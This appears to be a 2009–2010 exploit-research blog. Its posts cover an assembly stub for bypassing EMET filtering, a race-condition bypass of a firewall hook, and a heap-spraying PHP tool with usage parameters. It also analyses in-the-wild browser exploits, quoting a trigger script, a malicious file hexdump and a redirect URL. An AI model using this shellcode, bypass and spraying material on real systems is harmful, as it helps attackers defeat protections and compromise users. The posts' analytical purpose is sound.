PornoSecurity

Updated: Export Address Table Filtering (EMET v2)

Tue, 31 August 2010 23:50:29 +0000

I'll tell you the truth: Export Address Table Filtering, the feature of the upcoming release of EMET, "designed to break nearly all shell code in use today", intrigued me a bit.

Since I wasn't able to find docs about the actual implementation, I started to think about how that could be done and I wrote a simple POC that uses VirtualProtect to flag the relevant pages of the .data section of ntdll and kernel32 with PAGE_GUARD to intercept read operations over the PEB.Ldr. A Vectored Exception Handler is then used to handle the exception and to check if the faulting address is within the code section of a module(MEMORY_BASIC_INFORMATION.Type == MEM_IMAGE). Here is the pseudo-code:

BOOL WINAPI DllMain(...)
{
    [...]
    AddVectoredExceptionHandler(1, VectoredHandler);
    VirtualProtect(PLDR,
        PAGE_SIZE,
        PAGE_READWRITE|PAGE_GUARD,
        &old_protect);
    [...]
}
LONG CALLBACK VectoredHandler(
    __in PEXCEPTION_POINTERS ExceptionInfo)
{
    [...]
    if(ExceptionInfo->ExceptionRecord->ExceptionCode ==
        STATUS_GUARD_PAGE_VIOLATION)
    {
        VirtualQueryEx(GetCurrentProcess()	,
            (LPVOID)ExceptionInfo->ExceptionRecord->ExceptionAddress,
            &lpMemInfo,
            sizeof(MEMORY_BASIC_INFORMATION)))

        if(lpMemInfo.Type != MEM_IMAGE)
            ShellcodeDetected();
    [...]

Yesterday I found this .doc. It explains pretty much everything: they use hardware breakpoints to intercept read operations and a Vectored Exception Handler to check if the faulting address belongs to a module.... pretty much the same thing, isn't it?

Then I started to think about how EAT filtering could be bypassed, obviously there are many ways to find the address of a function without touching the EAT, but I was looking for a quick way to just fix existing shellcodes and make them working under EMET. Since EMET is going to use hardware breakpoints it will be probably faster than the PAGE_GUARD approach because while you can put a breakpoint on a single DWORD using debug registers, the granularity of VirtualProtect is PAGE_SIZE.

But hardware registers can be zeroed out, disabling the protection, by taking advantage of the Structured Exception Handling and without even using a single API. And so, I thought, you can easily add to a metasploit shellcode something like this:

START:
    call +0                  // poor's man get_pc()
    mov eax, [esp]
    add eax, HANDLER_OFFSET
    push eax               // install SEH handler
    push fs:[0]
    mov fs:[0], esp
    xor eax, eax
    mov byte [eax], 1	// oops
    [...]

HANDLER:
    xor eax, eax
    mov ebx, [esp+0xc]	// context
    add [ebx+0xb8], 3	// eip += len("mov byte [eax], 1")
    mov [ecx+0x4], EAX	// clean debug registers
    mov [ecx+0x8], EAX
    mov [ecx+0xc], EAX
    mov [ecx+0x10], EAX
    mov [ecx+0x14], EAX
    mov [ecx+0x18], EAX
    ret

right? ~~Well, not quite really! Because this is not gonna work with SAFESEH enabled! :)~~

Btw, is there a way to quickly disable PAGE_GUARD using only position independent code and without touching EAT?

Time of check, time of use

Thu, 20 May 2010 00:27:22 +0000

The point is that something bad could happen between the Time of Check and the Time of Use.

For example, if an antivirus wants to block applications from getting an handle to a protected process, it could hook NtOpenProcess and check if the pid belongs to one of the protected processess. The problem is that, if the thing/parameter the antivirus in going to check is a pointer to a user-space value(as it is the case for the CLIENT_ID structure needed by NtOpenProcess), even on single-core boxes where the scheduler has the ability to stop a thread in any moment and to start another one, a thread could have the chance to change the user-space value right after the Time of Check but before the Time of Use.

A couple of days ago I was reading this. It starts telling the world the sky is falling then at the end of the document: "we were kidding, it's pretty old stuff, everyones knows that.. but we wrote this awesome tool that makes the very unlikely thing to happen!".

While I was reading I started to think about how hard could be to win the race between a kernel-mode thread running inside a kernel-mode hook and a user-space thread trying to fake pointers/parameters. It turns out that it's pretty easy, at least on dual-core boxes.

While researching on infostealers and browser hijackers I found PrevX, that is a personal firewall specifically targeted to defend users from this kind of stuff and that claims to be able to protect personal data even when the box is compromised. One of the way it does that is by hooking a couple of system services in order to protect the browser's address space from being tampered.

One of the system services that it hooks is NtOpenProcess.
The hook checks both the CLIENT_ID structure and the DesideredAccessMask parameter: if the process requested(in the CLIENT_ID structure) is one of the protected processes(iexplorer.exe for example) it checks for the requested access mode.
Indeed if you try to open up an handle to iexplorer.exe with VM_WRITE|CREATE_THREAD, you'll end up with a NULL process handle.

Bypassing this is straight forward, all you need to do is to spawn the faker thread that changes the Processid member of the CLIENT_ID structure and then call NtOpenProcessin a loop, in a couple of second you'll get the desidered handle.

Code Here

MalwareDomains.com Serving Malware

Fri, 07 May 2010 18:54:30 +0000

This morning malwaredomains.com was serving malware from their homepage. At the end of the page there is a little line added:

The Javascript in there, change the browser location to:

var url="http://www4.suitcase52td.net/?p=p52dcWpkbG6Hnc3KbmNToKV1iqHWnG2dXpSYk2hoZZublQ%3D%3D"; window.top.location.replace(url);

Then a pretty good-looking, but actually fake, antivirus scans you computer:
No matter what you will choose and you'll be asked to download and execute a PE executable.

VirusTotal

Anubis Report

CWSandbox

Right now the page looks clean, but it seems they had something worst than upgrade problems:

You can read some about the attack HERE

Scary monsters (and super creeps)

Wed, 03 March 2010 11:44:53 +0000

Hey there, I bet you tought I was dead, don't you? Truth is, again, I'm alive and kicking :>

Since I've been monitoring the SpyEye for a while now, I wanna tell you and show you something.
The toolkit, ready to be bought by cybercriminals all over the world, was discovered in obscure underground forums(it's the black scary market, baby!) early last month by Symantec and Others(tm) taking advantage of their worldwide intellingence gathering systems, of some covert operations..... you know, stuff like that:

SpyEye is actually very similar to Zeus: they share the majority of the functionalities, expose pretty much the same behaviour, and take advantage of the same mechanisms(http for communication, encrypted configuration, kewl web panel etc). SpyEye has some missing features like a ring0 rootkit for example(but you bet it will be added if the toolkit is gonna be popular) and some minor problems.. it still looks pretty young. One of the low-level distinctive signs I found of the spyEye droppers is the following schema used for api calls as well as the use(and hooking) of the LoadrDllLoad function.

The bootstrap configuration file of SpyEye is often brought you by the dropper itself, it is embedded as a PE resource and it is actually an encrypted zip. Just like with Zeus the decryption key can be found within the code but since the code is not obfuscated there's no need to let the dropper run(that is, infect a VM) to extract the plain-text. In the last days I have been monitoring a couple of SpyEye C&C and looking at the number of zombies starting from near-to-zero and increasing day by day. The image below shows the geographic distribution of a growing botnet I am monitoring:

What's the sexy thing in here? Well, look at the picture: blue points are SpyEye infected zombies, red points instead are sandboxes all over the world trying to analyze SpyEye samples ;)

Happy exploit wednesday!

Wed, 14 October 2009 12:49:15 +0000

A lot of remote exploitable vulns this time. The first vuln I had time to spend on is ms09-057.

The vulnerability lies in query.dll, and could be triggered by passing a malformed url-encoded url to the DecodeUrlEscapes() and DecodeEscapes() functions. Since query.dll it is used by ixsso.dll that could be loaded in a web page as an activex it is possible to exploit the vulnerability by passing a malformed url-encoded url to the SetQueryFromUrl() function.

But hey, there could be different ways to reach the vulnerable code! Somebody should scan windows dll and exe to look for imports from query.dll :)

All you can spray

Thu, 13 August 2009 12:49:25 +0000

Since I'm tired of reinventing the wheel, I decided to write a couple of lines of code an to wrap it in a easy-to-use, single php file.

Just put it in your DocumentRoot and you get ActionScript(flash) heap spraying and/or a wonderful .NET assembly loaded at the address you choose.

The script accepts different parameters:

- t: 'd' if you want a .NET assembly, 'f' for SWF

- s: shellcode

- n: nop

- c: number of chunks to spray (for SWF)

- b: base address (for .NET assembly)

For example, to request a .NET assembly with base address of 0x41410000, a nopsled of 0x0a and an INT 3 as shellcode:

/spray.php?t=d&s=%cc&n=0x0a&b=4141

if you want to spray the heap with flash instead:

/spray.php?t=f&s=%cc&n=0x0a&c=0x500

Here you can find a .tar.gz with the script, an html example and the flash spray sources(to be compiled with haxe).

No, there's no source for the .NET control in the .tar.gz(it's 1Mb, too heavy). To make one, just create a class and put in there a huge static string, it will be loaded in +rx area.

Have fun :)

Update: PDF sploits in the wild

Fri, 24 July 2009 16:15:34 +0000

I wanna add just a bit to the last post. It turns out that the evil site serving the malicious PDF uses ActionScript to spray the heap and to inject the shellcode in memory. Here it is the full code, enjoy.

PDF sploits in the wild

Thu, 23 July 2009 21:37:04 +0000

Just a couple of minutes ago I was taking my dayly dose of interweb when I stumbled upon the xorl blog, who linked this pdf that was linked by hdmoore from a live malware site. I googled a bit to find the live site and I found it. Xorl stated that it seems to be CVE-2009-1856, an integer overflow that iDefense said it could result in a heap buffer being overflowed. It could be, yes, but actually if you load this PDF you'll get a stack overflow and a wonderful SEH overwrite:

I'm not saying that it's not CVE-2009-1856 and I don't have the time to take a closer look at the vuln right now(actually I going to go to get drunk :). It smashes the stack yes, but the root cause could be an overly long heap buffer copied(it's an strcat) onto the stack. You may wonder what's the sexy thing in here... well, take a look at the pdf :)

funny eh? :)

MPEG2TuneRequest 0-day

Tue, 07 July 2009 16:57:01 +0000

Again, another DirectShow vulnerability.

This time it is a stack based buffer overflow triggered by passing an url of a crafted file to the "data" property of an MPEG2TuneRequest object. This is how a malicious script looks like:

my obj = document.createElement('object');
myObject.data='logo.gif';
obj.classid='clsid:0955AC62-BF2E-4CBA-A2B9-A63F772D46CF';

This is the hex dump of the malicious file:

00030000 11203400 00000000 00000000 00000000 00000000
00000000 00000000 00000000 00000000 00000000 00000000
00000000 0000FFFF FFFF0C0C 0C0C00

The seventh byte of the file(0x34) is used as an argument for the ReadFile function:

As you can see 0x34 bytes are being copied to the stack and a SE Handler is being overwritten. The SEH will be overwritten with the 4 bytes at offset 63 within the file(0x0c0c0c0c) thus hijacking the execution flow at the first exception.

Bad guys and sexy sploits: CVE-2009-1537

Mon, 06 July 2009 21:25:51 +0000

The vulnerability is in DirectX <=9.0c, it is currently unpatched and it is exploited in-the-wild-wild-interwebs by some bad guys. I've got a live sample a couple of days ago and I found it quite interesting.

The bug is triggered when a crafted QuickTime media file is parsed by quartz.dll and can be abused to overwrite a single byte with the fixed value of 0. This is definetely an interesting scenario for an exploit writer: you have to hijack the execution flow just by changing one byte of memory with a value you can't control!

To exploit such a vuln you need to be lucky. But, guess what... video files can be embedded in browsers... and browsers are h4x0r's best friends! :)

As you can see the value of 0 is being written to [EBP+EAX-39], EAX holds the value we control. Being EAX 0x3F, the byte overwritten will be the second byte of a saved return address. A RET instruction that will be eventually executed, instead of "returning" to the caller function, will "return" to 0x7400c619. To put in there a shellcode, the bad guys use a known .NET trick. This is how the malicious page looks like:

Not surprisingly the .NET DLL has the right ImageBase attribute:

The shellcode is a quite advanced piece of code. It first retrieves the PEB and cycles through the modules list to find the image base of kernel32.dll, it actually compares each module name in the list instead of just assuming that the second entry is the right one. Instead of just resolving LoadLibrary/GetModuleHandle and GetProcAddress, it actually cycles through kernel32.dll, ntdll.dll and advapi32.dll exports to locate the following functions:

VirtualProtect
GetCurrentProcess
CloseHandle
WaitForSingleObject
GetCurrentProcessId
OpenProcess
VirtualAllocEx
WriteProcessMemory
CreateRemoteThread
CreateProcessA
GetEnvironmentVariableA
ExitProcess
ExitThread
LookUpPrivilegeValueA
OpenProcessToken
AdjustTokenPrivileges
SetThreadToken
RtlExitUserThread

CreateProcessA is then used to spawn iexplore.exe. The CREATE_SUSPENDED and CREATE_NEW_CONSOLE process creation flags instruct the kernel to suspend the main thread and to create a window-less(hidden) process:

/CALL to CreateProcessA 
|ModuleFileName = NULL
|CommandLine = "C:\Program Files\Internet Explorer\iexplore.exe"
|pProcessSecurity = NULL
|pThreadSecurity = NULL
|InheritHandles = FALSE
|CreationFlags = CREATE_SUSPENDED|CREATE_NEW_CONSOLE
|pEnvironment = NULL
|CurrentDir = NULL
|pStartupInfo = 0199E7A8
\pProcessInfo = 0199E798

A process handle to the newly created process is acquired with OpenProcess and a payload is injected into IExplorer. CreateRemoteThread is then used with the payload address as the entrypoint(lpStartAddress):

/CALL to OpenProcess 
|Access = CREATE_THREAD|VM_OPERATION|VM_READ|VM_WRITE|QUERY_INFORMATION
|Inheritable = FALSE
\ProcessId = A38
 
/CALL to VirtualAllocEx
|hProcess = 3F0
|lpAddress = NULL
|dwSize = 5B6
|flAllocationType = 1000
\flProtext = PAGE_EXECUTE_READWRITE
 
/CALL to WriteProcessMemory
|hProcess = 3F0 
|Address = 140000
|Buffer = 0199E99E
|BytesToWrite = 5B6 (1462.)
\pBytesWritten = NULL
 
/CALL to CreateRemoteThread
|hProcess = 3F0
|lpThreadAttributes = NULL
|dwStackSize = NULL
|lpStartAddress = 140000
|lpParameter = NULL
|dwCreationFlag = NULL
\lpThreadId = NULL

While the first process exits with a call to ExitProcess, the second instead calls home. This behaviour should look familiar, it is pretty much the same trick used by conficker: it will bypass your personal firewall because it injects code in a trusted application and your AV won't detect any suspicious disk activity.